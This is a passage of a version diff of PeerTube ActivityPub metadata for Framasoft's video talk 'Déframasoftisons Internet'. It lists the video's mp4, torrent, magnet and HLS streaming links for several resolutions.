/6050732a-8a7a-43d4-a6cd-809525a1d206-360.mp4","height":360,"size":171357733,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309942","height":360,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-360.torrent","height":360},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360.torrent&xt=urn:btih:aedfa9479ea04a175eee0b0bd0bda64076308746&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fwebseed%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360.mp4&ws=https%3A%2F%2Fpeertube.iselfhost.com%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360.mp4&ws=https%3A%2F%2Ftube.privacytools.io%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360.mp4&ws=https%3A%2F%2Fpeertube.live%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360.mp4","height":360},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-720.mp4","height":720,"size":497100839,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309943","height":720,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-720.torrent","height":720},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720.torrent&xt=urn:btih:71971668f82a3b24ac71bc3a982848dd8dc5a5f5&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fwebseed%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720.mp4&ws=https%3A%2F%2Fpeertube.iselfhost.com%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720.mp4&ws=https%3A%2F%2Ftube.privacytools.io%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720.mp4&ws=https%3A%2F%2Fpeertube.live%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720.mp4","height":720},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-240.mp4","height":240,"size":113038439,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309944","height":240,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-240.torrent","height":240},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240.torrent&xt=urn:btih:c42aa6c95efb28d9f114ebd98537f7b00fa72246&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fwebseed%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240.mp4&ws=https%3A%2F%2Fpeertube.iselfhost.com%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240.mp4&ws=https%3A%2F%2Ftube.privacytools.io%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240.mp4","height":240},{"type":"Link","mediaType":"application/x-mpegURL","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/master.m3u8","tag":[{"type":"Infohash","name":"f7428214539626e062f300f2ca4cf9154575144e"},{"type":"Infohash","name":"46e236dffb1ea6b9123a5396cbe88e97dd94cc6c"},{"type":"Infohash","name":"11f1045830b5d786c788f2594d19f128764e7d87"},{"type":"Infohash","name":"4327ad3e0d84de100130a27e9ab6fe40c4284f0e"},{"type":"Infohash","name":"41e2eee8e7b23a63c23a77c40a46de11492a4831"},{"type":"Link","name":"sha256","mediaType":"application/json","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/segments-sha256.json"},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/6050732a-8a7a-43d4-a6cd-809525a1d206-1080-fragmented.mp4","height":1080,"size":1156777472,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309940","height":1080,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-1080-hls.torrent","height":1080},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080-hls.torrent&xt=urn:btih:0204d780ebfab0d5d9d3476a038e812ad792deeb&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fstreaming-playlists%2Fhls%2F6050732a-8a7a-43d4-a6cd-809525a1d206%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080-fragmented.mp4","height":1080},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/6050732a-8a7a-43d4-a6cd-809525a1d206-480-fragmented.mp4","height":480,"size":249562889,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309945","height":480,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-480-hls.torrent","height":480},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480-hls.torrent&xt=urn:btih:5d14f38ded29de629668fe1cfc61a75f4cce2628&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fstreaming-playlists%2Fhls%2F6050732a-8a7a-43d4-a6cd-809525a1d206%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480-fragmented.mp4","height":480},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/6050732a-8a7a-43d4-a6cd-809525a1d206-360-fragmented.mp4","height":360,"size":170836415,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309946","height":360,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-360-hls.torrent","height":360},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360-hls.torrent&xt=urn:btih:30125488789080ad405ebcee6c214945f31b8f30&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fstreaming-playlists%2Fhls%2F6050732a-8a7a-43d4-a6cd-809525a1d206%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360-fragmented.mp4","height":360},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/6050732a-8a7a-43d4-a6cd-809525a1d206-720-fragmented.mp4","height":720,"size":496533741,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309947","height":720,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-720-hls.torrent","height":720},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720-hls.torrent&xt=urn:btih:8ed1e8bccde709901c26e315fc8f53bfd26d1ba6&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fstreaming-playlists%2Fhls%2F6050732a-8a7a-43d4-a6cd-809525a1d206%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720-fragmented.mp4","height":720},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/6050732a-8a7a-43d4-a6cd-809525a1d206-240-fragmented.mp4","height":240,"size":112529249,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309948","height":240,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-240-hls.torrent","height":240},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240-hls.torrent&xt=urn:btih:8b452bf4e70b9078d4e74ca8b5523cc9dc70d10a&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fstreaming-playlists%2Fhls%2F6050732a-8a7a-43d4-a6cd-809525a1d206%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240-fragmented.mp4","height":240}]}],"likes":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206/likes","dislikes":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206/dislikes","shares":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206/announces","comments":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206/comments","attributedTo":[{"type":"Person","id":"https://framatube.org/accounts/framasoft"},{"type":"Group","id":"https://framatube.org/video-channels/bf54d359-cfad-4935-9d45-9d6be93f63e8"}],"to":["https://www.w3.org/ns/activitystreams#Public"],"cc":["https://framatube.org/accounts/framasoft/followers"],"@context":["https://www.w3.org/ns/activitystreams","https://w3id.org/security/v1",{"RsaSignature2017":"https://w3id.org/security#RsaSignature2017"},{"pt":"https://joinpeertube.org/ns#","sc":"http://schema.org#","Hashtag":"as:Hashtag","uuid":"sc:identifier","category":"sc:category","licence":"sc:license","subtitleLanguage":"sc:subtitleLanguage","sensitive":"as:sensitive","language":"sc:inLanguage","Infohash":"pt:Infohash","Playlist":"pt:Playlist","PlaylistElement":"pt:PlaylistElement","originallyPublishedAt":"sc:datePublished","views":{"@type":"sc:Number","@id":"pt:views"},"state":{"@type":"sc:Number","@id":"pt:state"},"size":{"@type":"sc:Number","@id":"pt:size"},"fps":{"@type":"sc:Number","@id":"pt:fps"},"startTimestamp":{"@type":"sc:Number","@id":"pt:startTimestamp"},"stopTimestamp":{"@type":"sc:Number","@id":"pt:stopTimestamp"},"position":{"@type":"sc:Number","@id":"pt:position"},"commentsEnabled":{"@type":"sc:Boolean","@id":"pt:commentsEnabled"},"downloadEnabled":{"@type":"sc:Boolean","@id":"pt:downloadEnabled"},"waitTranscoding":{"@type":"sc:Boolean","@id":"pt:waitTranscoding"},"support":{"@type":"sc:Text","@id":"pt:support"},"likes":{"@id":"as:likes","@type":"@id"},"dislikes":{"@id":"as:dislikes","@type":"@id"},"playlists":{"@id":"pt:playlists","@type":"@id"},"shares":{"@id":"as:shares","@type":"@id"},"comments":{"@id":"as:comments","@type":"@id"}}]} \ No newline at end of file +{"type":"Create","id":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206/activity","actor":"https://framatube.org/accounts/framasoft","object":{"type":"Video","id":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206","name":"Déframasoftisons Internet [Framasoft]","duration":"PT3622S","uuid":"6050732a-8a7a-43d4-a6cd-809525a1d206","tag":[{"type":"Hashtag","name":"déframasoftisons"},{"type":"Hashtag","name":"EPN23"},{"type":"Hashtag","name":"framaconf"},{"type":"Hashtag","name":"Framasoft"},{"type":"Hashtag","name":"pyg"}],"category":{"identifier":"15","name":"Science & Technology"},"views":154,"sensitive":false,"waitTranscoding":false,"state":1,"commentsEnabled":true,"downloadEnabled":true,"published":"2020-05-24T18:34:31.569Z","originallyPublishedAt":"2019-11-30T23:00:00.000Z","updated":"2020-08-17T11:01:02.994Z","mediaType":"text/markdown","content":"Après avoir mené avec un certain succès la campagne « Dégooglisons Internet » en 2014, l’association Framasoft annonce fin 2019 arrêter progressivement un certain nombre de ses services alternatifs aux GAFAM. Pourquoi ?\r\n\r\nTranscription par @aprilorg ici : https://www.april.org/deframasoftisons-internet-pierre-yves-gosset-framasoft","support":null,"subtitleLanguage":[],"icon":[{"type":"Image","url":"https://framatube.org/static/thumbnails/6050732a-8a7a-43d4-a6cd-809525a1d206.jpg","mediaType":"image/jpeg","width":223,"height":122},{"type":"Image","url":"https://framatube.org/static/previews/6050732a-8a7a-43d4-a6cd-809525a1d206.jpg","mediaType":"image/jpeg","width":850,"height":480}],"url":[{"type":"Link","mediaType":"text/html","href":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206"},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4","height":1080,"size":1157359410,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309939","height":1080,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-1080.torrent","height":1080},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080.torrent&xt=urn:btih:381c9429900552e23a4eb506318f1fa01e4d63a8&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fwebseed%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4&ws=https%3A%2F%2Fpeertube.iselfhost.com%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4&ws=https%3A%2F%2Ftube.privacytools.io%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4&ws=https%3A%2F%2Fpeertube.live%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4","height":1080},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-720.mp4","height":720,"size":497100839,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309943","height":720,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-720.torrent","height":720},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720.torrent&xt=urn:btih:71971668f82a3b24ac71bc3a982848dd8dc5a5f5&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fwebseed%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720.mp4&ws=https%3A%2F%2Ftube.privacytools.io%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720.mp4&ws=https%3A%2F%2Fpeertube.iselfhost.com%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720.mp4&ws=https%3A%2F%2Fpeertube.live%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720.mp4","height":720},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-480.mp4","height":480,"size":250095131,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309941","height":480,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-480.torrent","height":480},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480.torrent&xt=urn:btih:a181dcbb5368ab5c31cc9ff07634becb72c344ee&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fwebseed%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480.mp4&ws=https%3A%2F%2Fpeertube.iselfhost.com%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480.mp4&ws=https%3A%2F%2Ftube.privacytools.io%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480.mp4&ws=https%3A%2F%2Fpeertube.live%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480.mp4","height":480},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-360.mp4","height":360,"size":171357733,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309942","height":360,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-360.torrent","height":360},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360.torrent&xt=urn:btih:aedfa9479ea04a175eee0b0bd0bda64076308746&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fwebseed%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360.mp4&ws=https%3A%2F%2Fpeertube.iselfhost.com%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360.mp4&ws=https%3A%2F%2Ftube.privacytools.io%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360.mp4&ws=https%3A%2F%2Fpeertube.live%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360.mp4","height":360},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-240.mp4","height":240,"size":113038439,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309944","height":240,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-240.torrent","height":240},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240.torrent&xt=urn:btih:c42aa6c95efb28d9f114ebd98537f7b00fa72246&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fwebseed%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240.mp4&ws=https%3A%2F%2Fpeertube.iselfhost.com%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240.mp4&ws=https%3A%2F%2Ftube.privacytools.io%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240.mp4","height":240},{"type":"Link","mediaType":"application/x-mpegURL","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/master.m3u8","tag":[{"type":"Infohash","name":"f7428214539626e062f300f2ca4cf9154575144e"},{"type":"Infohash","name":"46e236dffb1ea6b9123a5396cbe88e97dd94cc6c"},{"type":"Infohash","name":"11f1045830b5d786c788f2594d19f128764e7d87"},{"type":"Infohash","name":"4327ad3e0d84de100130a27e9ab6fe40c4284f0e"},{"type":"Infohash","name":"41e2eee8e7b23a63c23a77c40a46de11492a4831"},{"type":"Link","name":"sha256","mediaType":"application/json","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/segments-sha256.json"},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/6050732a-8a7a-43d4-a6cd-809525a1d206-1080-fragmented.mp4","height":1080,"size":1156777472,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309940","height":1080,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-1080-hls.torrent","height":1080},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080-hls.torrent&xt=urn:btih:0204d780ebfab0d5d9d3476a038e812ad792deeb&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fstreaming-playlists%2Fhls%2F6050732a-8a7a-43d4-a6cd-809525a1d206%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080-fragmented.mp4","height":1080},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/6050732a-8a7a-43d4-a6cd-809525a1d206-720-fragmented.mp4","height":720,"size":496533741,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309947","height":720,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-720-hls.torrent","height":720},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720-hls.torrent&xt=urn:btih:8ed1e8bccde709901c26e315fc8f53bfd26d1ba6&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fstreaming-playlists%2Fhls%2F6050732a-8a7a-43d4-a6cd-809525a1d206%2F6050732a-8a7a-43d4-a6cd-809525a1d206-720-fragmented.mp4","height":720},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/6050732a-8a7a-43d4-a6cd-809525a1d206-480-fragmented.mp4","height":480,"size":249562889,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309945","height":480,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-480-hls.torrent","height":480},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480-hls.torrent&xt=urn:btih:5d14f38ded29de629668fe1cfc61a75f4cce2628&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fstreaming-playlists%2Fhls%2F6050732a-8a7a-43d4-a6cd-809525a1d206%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480-fragmented.mp4","height":480},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/6050732a-8a7a-43d4-a6cd-809525a1d206-360-fragmented.mp4","height":360,"size":170836415,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309946","height":360,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-360-hls.torrent","height":360},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360-hls.torrent&xt=urn:btih:30125488789080ad405ebcee6c214945f31b8f30&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fstreaming-playlists%2F